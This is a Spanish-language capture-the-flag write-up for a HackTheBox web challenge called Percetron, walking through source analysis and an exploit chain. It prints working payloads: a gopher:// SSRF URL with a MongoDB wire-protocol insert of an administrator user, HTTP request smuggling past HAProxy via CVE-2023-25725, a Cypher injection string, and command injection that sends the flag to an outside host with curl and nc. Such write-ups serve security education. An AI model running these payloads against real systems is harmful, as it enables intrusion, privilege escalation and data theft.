Percetron
14 minutos de lectura
Se nos proporciona un sitio web donde podemos registrarnos e iniciar sesión para tener este dashboard:
Además, tenemos todo el proyecto web para realizar el análisis.
Análisis del código fuente
El servidor web ejecuta Express JS (Node.js). El archivo index.js
es bastante estándar, pero podemos ver que usa MongoDB y neo4j:
require("dotenv").config();
const path = require("path");
const express = require("express");
const session = require("express-session");
const mongoose = require("mongoose");
const Neo4jConnection = require("./util/neo4j");
const MongoDBConnection = require("./util/mongo");
const { migrate } = require("./util/generic");
const genericRoutes = require("./routes/generic");
const panelRoutes = require("./routes/panel");
const application = express();
const neo4j = new Neo4jConnection();
const mongodb = new MongoDBConnection();
application.use("/static", express.static(path.join(__dirname, "static")));
application.use(express.urlencoded({ extended: true }));
application.use(express.json());
application.use(
session({
secret: process.env.SESSION_SECRET,
resave: true,
saveUninitialized: true,
})
);
application.set("view engine", "pug");
application.use(genericRoutes);
application.use(panelRoutes);
setTimeout(async () => {
await mongoose.connect(process.env.MONGODB_URL);
await migrate(neo4j, mongodb);
await application.listen(3000, "0.0.0.0");
console.log("Listening on port 3000");
}, 10000);
MongoDB se utiliza para la autenticación y autorización del usuario, utilizando mongoose
. Este es el único modelo que tenemos:
const mongoose = require("mongoose");
const userSchema = new mongoose.Schema({
username: { type: String, unique: true },
password: String,
permission: String,
});
const Users = mongoose.model("Users", userSchema);
module.exports = Users;
Solo hay dos endpoints que interactúan directamente con MongoDB (challenge/routes/panel.js
):
router.post("/panel/register", async (req, res) => {
const username = req.body.username;
const password = req.body.password;
const db = new MongoDBConnection();
if (!(username && password)) return res.render("error", {message: "Missing parameters"});
if (!(await db.registerUser(username, password, "user")))
return res.render("error", {message: "Could not register user"});
res.redirect("/panel/login");
});
router.post("/panel/login", async (req, res) => {
const username = req.body.username;
const password = req.body.password;
if (!(username && password)) return res.render("error", {message: "Missing parameters"});
const db = new MongoDBConnection();
if (!(await db.validateUser(username, password)))
return res.render("error", {message: "Invalid user or password"});
const userData = await db.getUserData(username);
req.session.loggedin = true;
req.session.username = username;
req.session.permission = userData.permission;
res.redirect("/panel");
});
Como se puede ver, el endpoint /register
establece nuestro permiso a user
. Nos gustaría tener permiso de administrator
porque necesitamos pasar el AdminMiddleware
para continuar con la explotación:
module.exports = async (req, res, next) => {
if (!req.session.loggedin || req.session.permission != "administrator") {
return res.status(401).send({message: "Not allowed"});
}
next();
};
Vale la pena mencionar que el endpoint /login
es vulnerable a inyección NoSQL porque los parámetros username
y password
se envían directamente a MongoDB, sin verificar si son strings. Sin embargo, esto es inútil porque la base de datos está vacía al principio, por lo que no podemos simplemente iniciar sesión como administrator
.
Hay dos endpoints interesantes que nos permiten realizar peticiones a una URL dada (challenge/routes/generic.js
):
const axios = require("axios");
const express = require("express");
const router = express.Router();
const authMiddleware = require("../middleware/auth");
const { check, getUrlStatusCode } = require("../util/generic");
router.get("/", (req, res) => {
res.redirect("/panel");
});
router.get("/healthcheck", authMiddleware, (req, res) => {
const targetUrl = req.query.url;
if (!targetUrl) {
return res.status(400).json({ message: "Mandatory URL not specified" });
}
if (!check(targetUrl)) {
return res.status(403).json({ message: "Access to URL is denied" });
}
axios.get(targetUrl, { maxRedirects: 0, validateStatus: () => true, timeout: 40000 })
.then(resp => {
res.status(resp.status).send();
})
.catch(() => {
res.status(500).send();
});
});
router.get("/healthcheck-dev", authMiddleware, async (req, res) => {
let targetUrl = req.query.url;
if (!targetUrl) {
return res.status(400).json({ message: "Mandatory URL not specified" });
}
getUrlStatusCode(targetUrl)
.then(statusCode => {
res.status(statusCode).send();
})
.catch(() => {
res.status(500).send();
});
});
module.exports = router;
Ambos endpoints son bastante similares, pero hay algunas diferencias. Por un lado, /healthcheck
:
- Usa
axios
, que es una librería que permite usar esquemashttp
,https
,file
ydata
(más información en axios) axios
está configurado conmaxRedirects = 0
- Solo obtendremos el código de estado HTTP como salida
- La URL se verifica utilizando la siguiente función:
exports.check = (url) => {
const parsed = new URL(url);
if (isNaN(parseInt(parsed.port))) {
return false;
}
if (parsed.port == "1337" || parsed.port == "3000") {
return false;
}
if (parsed.pathname.toLowerCase().includes("healthcheck")) {
return false;
}
const bad = ["localhost", "127", "0177", "000", "0x7", "0x0", "@0", "[::]", "0:0:0", "①②⑦"];
if (bad.some(w => parsed.hostname.toLowerCase().includes(w))) {
return false;
}
return true;
}
Por otro lado, tenemos /healthcheck-dev
:
- No verifica la URL
- Ejecuta
curl
con parámetros específicos, de modo que solo obtenemos el código de estado HTTP:
exports.getUrlStatusCode = (url) => {
return new Promise((resolve, reject) => {
const curlArgs = ["-L", "-I", "-s", "-o", "/dev/null", "-w", "%{http_code}", url];
execFile("curl", curlArgs, (error, stdout, stderr) => {
if (error) {
reject(error);
return;
}
const statusCode = parseInt(stdout, 10);
resolve(statusCode);
});
});
}
Sin embargo, hay un HA-Proxy frente al servidor Express, que bloquea explícitamente cualquier petición a /healthcheck-dev
(conf/haproxy.conf
):
global
log /dev/log local0
log /dev/log local1 notice
maxconn 4096
user haproxy
group haproxy
defaults
mode http
timeout connect 5000
timeout client 10000
timeout server 10000
frontend http-in
bind *:1337
default_backend forward_default
backend forward_default
http-request deny if { path -i -m beg /healthcheck-dev }
server s1 127.0.0.1:3000
Básicamente, tenemos esta estructura:
Podemos dejar el análisis del código fuente aquí hasta que tengamos un usuario con permiso de administrator
.
Explotación de SSRF
El objetivo aquí es insertar un usuario administrator
en MongoDB. Para esto, debemos usar Server-Side Request Forgery (SSRF) con uno de los endpoints de /healthcheck
o /healthcheck-dev
.
MongoDB Wire Protocol
Mientras investigaba cómo realizar SSRF a MongoDB, encontré un write-up del DiceCTF 2023 que usaba MongoDB Wire Protocol mediante telnet
. Tomé el script para generar el payload de BSON desde ahí y modifiqué la consulta para insertar un usuario administrator
(la contraseña es asdf
, aplicando bcrypt
como función hash):
const BSON = require('bson');
const fs = require('fs');
// Serialize a document
const doc = {insert: "users", $db: "percetron", documents: [{
"username": "administrator",
"password": "$2a$10$yPklsGI8uhnptd0TP.rUBuwFM1yLjnguL3bTaQ7j3qWFsUIbUKbUC",
"permission": "administrator",
}]};
const data = BSON.serialize(doc);
let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");
let full = Buffer.concat([beginning, data]);
full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);
En este punto, en el write-up usan curl
con el esquema telnet://
para enviar el payload como un cuerpo de petición. Esta vez, no podemos hacer eso porque /healthcheck-dev
ejecuta curl
sin datos, solo con la URL.
Protocolo Gopher
Pero recuerdo de ediciones anteriores de HTB Cyber Apocalypse que curl
soporta el esquema gopher://
, Entonces podemos realizar lo mismo usando esta URL:
gopher://0.0.0.0:27017/_%dc%00%00%00%00%00%00%00%00%00%00%00%dd%07%00%00%00%00%00%00%00%c7%00%00%00%02%69%6e%73%65%72%74%00%06%00%00%00%75%73%65%72%73%00%02%24%64%62%00%0a%00%00%00%70%65%72%63%65%74%72%6f%6e%00%04%64%6f%63%75%6d%65%6e%74%73%00%92%00%00%00%03%30%00%8a%00%00%00%02%75%73%65%72%6e%61%6d%65%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%02%70%61%73%73%77%6f%72%64%00%3d%00%00%00%24%32%61%24%31%30%24%79%50%6b%6c%73%47%49%38%75%68%6e%70%74%64%30%54%50%2e%72%55%42%75%77%46%4d%31%79%4c%6a%6e%67%75%4c%33%62%54%61%51%37%6a%33%71%57%46%73%55%49%62%55%4b%62%55%43%00%02%70%65%72%6d%69%73%73%69%6f%6e%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%00%00%00
Podemos verificar que funcione dentro del contenedor de Docker:
$ docker ps -a | grep percetron
67a4897960f1 web_percetron "/entrypoint.sh" 9 minutes ago Up 9 minutes 0.0.0.0:1337->1337/tcp, :::1337->1337/tcp web_percetron
$ docker exec -it 67a4897960f1 sh
/app # mongo percetron --eval 'db.users.find().pretty()' --quiet
{
"_id" : ObjectId("65f2e6e2a642b8770e443027"),
"username" : "asdf",
"password" : "$2a$10$t8DVP9VhCCqz5tyEIBDcNevEYWfc2UPHXNTZKBVNaojbjlQn4OHuO",
"permission" : "user",
"__v" : 0
}
/app # curl gopher://0.0.0.0:27017/_%dc%00%00%00%00%00%00%00%00%00%00%00%dd%07%00%00%00%00%00%00%00%c7%00%00%00%02%69%6e%73%65%72%74%00%06%00%00%00%75%73%65%72%73%00%02%24%64%62%00%0a%00%00%00%70%65%72%63%65%74%72%6f%6e%00%04%64%6f%63%75%6d%65%6e%74%73%00%92%00%00%00%03%30%00%8a%00%00%00%02%75%73%65%72%6e%61%6d%65%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%02%70%61%73%73%77%6f%72%64%00%3d%00%00%00%24%32%61%24%31%30%24%79%50%6b%6c%73%47%49%38%75%68%6e%70%74%64%30%54%50%2e%72%55%42%75%77%46%4d%31%79%4c%6a%6e%67%75%4c%33%62%54%61%51%37%6a%33%71%57%46%73%55%49%62%55%4b%62%55%43%00%02%70%65%72%6d%69%73%73%69%6f%6e%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%00%00%00
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
/app # mongo percetron --eval 'db.users.find().pretty()' --quiet
{
"_id" : ObjectId("65f2e6e2a642b8770e443027"),
"username" : "asdf",
"password" : "$2a$10$t8DVP9VhCCqz5tyEIBDcNevEYWfc2UPHXNTZKBVNaojbjlQn4OHuO",
"permission" : "user",
"__v" : 0
}
{
"_id" : ObjectId("65f2e84e82006b0cb78b8168"),
"username" : "administrator",
"password" : "$2a$10$yPklsGI8uhnptd0TP.rUBuwFM1yLjnguL3bTaQ7j3qWFsUIbUKbUC",
"permission" : "administrator"
}
Perfecto, así que vemos que necesitamos alcanzar /healthchec-dev
, porque axios
no soporta gopher://
.
Intentos fallidos
Una idea que tuvimos es intentar de alguna manera realizar SSRF desde /healthcheck
hacia /healthcheck-dev
. Pero esto no es posible porque la función check
nos bloqueará y también, la petición no lleva nuestra cookie de sesión, así que AuthMiddleware
bloqueará la petición a /healthcheck-dev
.
Por lo tanto, debemos saltarnos el HA-Proxy. Una opción es tratar de confundir los analizadores de URL, de modo que HA-Proxy no vea /healthcheck-dev
but Express sí. Después de varios paths como //healthcheck-dev
o /./healtcheck-dev
, entre otros payloads similares, descubrimos que no es posible en Express.
HTTP request smuggling
Otra cosa a considerar es la versión de HA-Proxy. El contenedor de Docker está usando una imagen haproxy:2.3-alpine
. La versión específica es 2.3.21:
/app # haproxy -v
HA-Proxy version 2.3.21-3ce4ee0 2022/07/27 - https://haproxy.org/
Status: End of life - please upgrade to branch 2.4.
Known bugs: http://www.haproxy.org/bugs/bugs-2.3.21.html
Running on: Linux 5.15.0-94-generic #104-Ubuntu SMP Tue Jan 9 15:25:40 UTC 2024 x86_64
Si echamos un vistazo a la URL anterior, veremos que no hay errores conocidos, pero si lo vemos simplemente en la versión 2.3, veremos muchos. Además, si buscamos vulnerabilidades de HA-Proxy versión 2.3, veremos una gran cantidad de CVE que podrían ser explotables. Sin embargo, solo unos pocos tenían prueba de concepto, y no funcionaron.
El CVE que finalmente funcionó es CVE-2023-25725 lo que puede dar como resultado un ataque de HTTP request smuggling. Este exploit nos permitirá enviar una petición a HA-Proxy que se interprete como dos solicitudes por Express. Como resultado, podemos incluir la petición a /healthcheck-dev
y realizar la consulta anterior a MongoDB.
El principal problema que tuvimos aquí es que no hay prueba de concepto de este CVE. Solo estaba el issue de Git con un ejemplo. De hecho, descargamos el código fuente de HA-Proxy que se está ejecutando en el contenedor de Docker y verificamos que las correcciones no estaban ahí. Entonces, confirmamos que el HA-Proxy era vulnerable a esto.
Mientras probaba algunas técnicas de HTTP request smugglibg en Burp-Suite, ejecuté tcpdump
Dentro del contenedor para ver cómo le estaban llegando los mensajes HTTP a Express:
/app # tcpdump -i lo tcp port 3000 -w -
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
e0JE<@@8
HR>0
]'e0JE<@@<
4~HR?0
]']'e0BE4@@8
HR?4~р(
]']'e-1@E2@@7
HR?4~р&
]']'POST /panel/login HTTP/1.1
host: 127.0.0.1:1337
transfer-encoding: chunked
A3
GET /healthcheck-dev HTTP/1.1
Host: 127.0.0.1:3000
Cookie: connect.sid=s%3AlPQ3OEP-p97KH2kOWLgzS5zV6lJ75683.sfnADEVOu%2BufjwtP8W%2B8vY7kfgcQpUU83EqY%2FXeMLL0
0
e11BE4@@~
4~HS=(
]']'eE@@y\
4~HS=
]']'HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 1060
ETag: W/"424-qLUzAi9KX/2MAcYPkCsictUtg4A"
Set-Cookie: connect.sid=s%3ADqxxBDsaqUZrSzTnEtkGlrVLO89b8KBY.k1WTa8T5CRYcxOKL1mcjRoI4GZXtcq2YSDsIAvKOQUk; Path=/; HttpOnly
Date: Thu, 14 Mar 2024 12:24:53 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<html>
<head><title>Error: Missing parameters</title><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon" type="image/jpeg" href="icon">
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/css/line-awesome.min.css">
<link rel="stylesheet" href="/static/css/main.css">
<link rel="stylesheet" href="/static/css/sidebar.css">
<link rel="stylesheet" href="/static/css/topnav.css">
<script src="/static/js/bootstrap.bundle.min.js"></script>
<script src="/static/js/main.js"></script>
<script src="/static/js/sidebar.js"></script></head>
<body>
<div class="container center">
<div class="row">
<div class="col-md-6 offset-md-3">
<div class="card p-4 jumbotron">
<h3>Error</h3><p>Missing parameters</p><div class="btn-group btn-block">
<button class="btn primaryBtn mt-4" onclick="window.history.back();">Back</button>
<button class="btn primaryBtn mt-4" onclick="window.location.href='/'">Home</button>
</div>
</div>
</div>
</div>
</div>
</body>
</htmlehBE4@@8
S=4W(
]']'eCE5@@~
4WHS=)
]']'>eBE4@@8
HS=4X(
]']'eBE4@@~
4XHS=(
];$]'eE4@@8
HS=4Y(
];%];$e&BE4@@~
4YHS>(
Es un poco extraño de leer, pero vemos que HA-Proxy está transformando nuestra petición HTTP a Transfer-Encoding: chunked
. Esto podría suceder porque la cabecera Content-Length
no se lee debido a la cabecera vacía.
Después de muchas pruebas, decidí probar HTTP/1.0, que también se mencionaba en el issue de Git, ¡y el ataque de HTTP request smuggling funcionño!
``POST /panel/login HTTP/1.0
host: 127.0.0.1:1337
connection: keep-alive
GET /healthcheck-dev HTTP/1.1
Host: 127.0.0.1:3000
Cookie: connect.sid=s%3AlPQ3OEP-p97KH2kOWLgzS5zV6lJ75683.sfnADEVOu%2BufjwtP8W%2B8vY7kfgcQpUU83EqY%2FXeMLL0
BE4NX@@i
u(
ENY@@
u
``HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 1060
ETag: W/"424-qLUzAi9KX/2MAcYPkCsictUtg4A"
Set-Cookie: connect.sid=s%3AIENOwcfX7YCod4ZfWpGZb2vV62Muyt4y.zceAhjNahxv0jbgMlDLUo3%2FFj0Dk6xm1BpTmTbrmbuE; Path=/; HttpOnly
Date: Thu, 14 Mar 2024 12:28:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<html>
<head><title>Error: Missing parameters</title><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon" type="image/jpeg" href="icon">
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/css/line-awesome.min.css">
<link rel="stylesheet" href="/static/css/main.css">
<link rel="stylesheet" href="/static/css/sidebar.css">
<link rel="stylesheet" href="/static/css/topnav.css">
<script src="/static/js/bootstrap.bundle.min.js"></script>
<script src="/static/js/main.js"></script>
<script src="/static/js/sidebar.js"></script></head>
<body>
<div class="container center">
<div class="row">
<div class="col-md-6 offset-md-3">
<div class="card p-4 jumbotron">
<h3>Error</h3><p>Missing parameters</p><div class="btn-group btn-block">
<button class="btn primaryBtn mt-4" onclick="window.history.back();">Back</button>
<button class="btn primaryBtn mt-4" onclick="window.location.href='/'">Home</button>
</div>
</div>
</div>
</div>
</div>
</body>
BE4!@@eeS
u(
CE5NZ@@f
u)
BE4"@@e
u(
``se\e^EPN[@@J
uD
`
`HTTP/1.1 400 Bad Request
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 41
ETag: W/"29-pbacTK67vUwlSvfPQwByciu+4gI"
Date: Thu, 14 Mar 2024 12:28:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"message":"Mandatory URL not specified"segeBE4#@@e
u4(
`
`
seeBE4$@@e
u4(
`
`
seeBE4%@@e
u4(
Este enfoque realmente funcionó porque no hay Transfer-Encoding: chunked
en HTTP/1.0, por lo que el HA-Proxy simplemente reenvía toda la petición a Express, que toma el primer bloque como una petición vacía y luego procesa el segundo bloque.
En este punto, podemos tomar el payload de Gopher / MongoDB anterior y usarlo para insertar un usuario administrator
en la instancia remota del reto (necesitamos usar doble codificación de URL):
Y en este punto estamos como administrator
(obsérvese que tenemos una pestaña “Management”):
Obteniendo RCE
Ahora que hemos completado la primera parte, debemos echar un vistazo a lo que falta para resolver el reto. Nos vemos obligados a conseguir la ejecución remota de comandos (RCE) porque el nombre de archivo de la flag se aleatoriza en entrypoint.sh
:
# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
Con permisos de administrator
, podemos añadir nuevos certificados:
router.post("/panel/management/addcert", adminMiddleware, async (req, res) => {
const pem = req.body.pem;
const pubKey = req.body.pubKey;
const privKey = req.body.privKey;
if (!(pem && pubKey && privKey)) return res.render("error", {message: "Missing parameters"});
const db = new Neo4jConnection();
const certCreated = await db.addCertificate({"cert": pem, "pubKey": pubKey, "privKey": privKey});
if (!certCreated) {
return res.render("error", {message: "Could not add certificate"});
}
res.redirect("/panel/management");
});
Aquí, el servidor interactúa con neo4j en la función addCertificate
:
async addCertificate(cert) {
const certPath = path.join(this.certDir, randomHex(10) + ".cert");
const certInfo = parseCert(cert.cert);
if (!certInfo) {
return false;
}
const insertCertQuery = `
CREATE (:Certificate {
common_name: '${certInfo.issuer.commonName}',
file_name: '${certPath}',
org_name: '${certInfo.issuer.organizationName}',
locality_name: '${certInfo.issuer.localityName}',
state_name: '${certInfo.issuer.stateOrProvinceName}',
country_name: '${certInfo.issuer.countryName}'
});
`;
try {
await this.runQuery(insertCertQuery);
fs.writeFileSync(certPath, cert.cert);
return true;
} catch (error) {
return false;
}
}
Inyección Cypher (neo4j)
Como se puede ver, podemos indicar muchos atributos de un certificado PKI que será administrado por neo4j, que es una base de datos basada en grafos. Pero hay una inyección (conocida como inyección Cypher, que lleva el nombre del lenguaje neo4j) porque podemos insertar cualquier cadena (similar a una inyección SQL). Para obtener más información, puede echar un vistazo a Pentester Land.
La clave aquí es que podemos controlar el atributo file_name
del certificado inyectando dentro de common_name
. Una vez que tenemos una escritura arbitraria de archivo, podemos usar /panel/management/dl-certs
:
router.get("/panel/management/dl-certs", adminMiddleware, async (req, res) => {
const db = new Neo4jConnection();
const certificates = await db.getAllCertificates();
let dirsArray = [];
for (let i = 0; i < certificates.length; i++) {
const cert = certificates[i];
const filename = cert.file_name;
const absolutePath = path.resolve(__dirname, filename);
const fileDirectory = path.dirname(absolutePath);
dirsArray.push(fileDirectory);
}
dirsArray = [...new Set(dirsArray)];
const zipArray = [];
let madeError = false;
for (let i = 0; i < dirsArray.length; i++) {
if (madeError) break;
const dir = dirsArray[i];
const zipName = "/tmp/" + randomHex(16) + ".zip";
sevenzip.compress("zip", {dir: dir, destination: zipName, is64: true}, () => {}).catch(() => {
madeError = true;
})
zipArray.push(zipName);
}
if (madeError) {
res.render("error", {message: "Error compressing files"});
} else {
res.send(zipArray);
}
});
Este endpoint toma todos los certificados disponibles de neo4j y utiliza una librería externa llamada @steezcram/sevenzip
para comprimir todos los certificados en un archivo ZIP. Sin embargo, es extraño que el servidor no permita descargar el archivo ZIP… Solo muestra el valor de zipArray
, que contiene una lista con los diferentes nombres de archivos ZIP.
Aquí, comenzamos a pensar en aluna manera en la que podríamos usar la inyección Cypher para realizar peticiones out-of-band y exfiltrar la flag, o incluso el archivo ZIP. Este enfoque no era muy asequible, porque la flag está en el directorio /
, por lo que el servidor debería comprimir todo el sistema de archivos…
Inyección de comandos
Mientras buscábamos vulnerabilidades de @steezcram/sevenzip
, descubrimos que es un proyecto GitHub de baja popularidad, solo tenía 7 estrellas. Entonces, puede haber alguna vulnerabilidad aquí.
De hecho, descubrimos que usa child_process.execFile
con shell = true
, entonces podríamos inyectar comandos.
Podemos probar un payload de inyección de comandos simple dentro del contenedor de Docker para ver cómo se crea el comando:
/app # node
Welcome to Node.js v16.20.2.
Type ".help" for more information.
> const sevenzip = require("@steezcram/sevenzip");
undefined
> sevenzip.compress("zip", {dir: '/app; nc 0 4444 < /fl*', destination: '/tmp/file.zip', is64: true}, () => {})
Promise {
<pending>,
[Symbol(async_id_symbol)]: 617,
[Symbol(trigger_async_id_symbol)]: 5
}
> Uncaught:
Error: Command failed: /app/node_modules/7zip-bin/linux/x64/7za a -tzip "/tmp/file.zip" "/app; nc 0 4444 < /fl*" -mm=Deflate64 -bsp1
/bin/sh: /app/node_modules/7zip-bin/linux/x64/7za: Permission denied
at __node_internal_genericNodeError (node:internal/errors:857:15)
at ChildProcess.exithandler (node:child_process:402:12)
at ChildProcess.emit (node:events:513:28)
at ChildProcess.emit (node:domain:552:15)
at maybeClose (node:internal/child_process:1100:16)
at Socket.<anonymous> (node:internal/child_process:458:11)
at Socket.emit (node:events:513:28)
at Socket.emit (node:domain:552:15) {
code: 126,
killed: false,
signal: null,
cmd: '/app/node_modules/7zip-bin/linux/x64/7za a -tzip "/tmp/file.zip" "/app; nc 0 4444 < /fl*" -mm=Deflate64 -bsp1'
}
Entonces, sabemos cómo inyectar un comando. Podemos probarlo usando curl
y nc
en otra shell:
> sevenzip.compress("zip", {dir: '";curl 127.0.0.1;"', destination: '/tmp/file.zip', is64: true}, () => {})
Promise {
<pending>,
[Symbol(async_id_symbol)]: 1779,
[Symbol(trigger_async_id_symbol)]: 5
}
/app # nc -nlvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from 127.0.0.1 60554 received!
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.70.0
Accept: */*
En este punto, podríamos enviarnos la flag desde el contenedor remoto a un servidor controlado, solo necesitamos insertar el payload de inyección de comandos anterior dentro del nombre de archivo que estará dentro de el payload de inyección Cypher.
Para esto, aprovecharemos una función llamada generateCert
en challenge/util/x509.js
:
> const { generateCert } = require('./util/x509')
undefined
> let cert = generateCert(`', file_name: '/app/$(curl 12.34.56.78 -T /fl*)/asdf.crt', /*`, `*/ org_name: 'asdf`, 'locality', 'state', 'ES')
undefined
> console.log(cert.cert)
-----BEGIN CERTIFICATE-----
MIIDrTCCApWgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBmTELMAkGA1UEBhMCRVMx
...
6Lj/RMVsOEvramCErbiJ0IaH9JVO6zVKfT8MnKCPo9Ot
-----END CERTIFICATE-----
undefined
> console.log(cert.pubKey)
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuQEtEZk88w55N6LFlnhe
...
JQIDAQAB
-----END PUBLIC KEY-----
undefined
> console.log(cert.privKey)
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuQEtEZk88w55N6LFlnheKcSJ7i9HUQFyFX5aVIOUhkXgKLq5
...
UilBqoI2Lh2gkm9NuIDAchuYYk+sOfVd1AWqWKuAEO0F1UX1WqjZ
-----END RSA PRIVATE KEY-----
undefined
No todas las cargas útiles de inyección de comandos funcionaron, pero después de algunas pruebas podemos obtener una que funcione.
Ahora, simplemente copiamos el certificado anterior, la clave pública y la clave privada en la aplicación web:
Luego, guardamos el certificado y finalmente hacemos click en “Download All”.
Flag
El servidor ejecutará nuestro payload de inyección de comandos y enviará la flag a nuestro servidor controlado:
$ nc -nlvp 80
Listening on 0.0.0.0 80
Connection received on 83.136.254.142 35628
PUT /flag1e34fd6a77.txt HTTP/1.1
Host: 12.34.56.78
User-Agent: curl/7.70.0
Accept: */*
Content-Length: 40
Expect: 100-continue
HTB{br34k_f1r3wal1s_4nd_bypas5_m34sur35}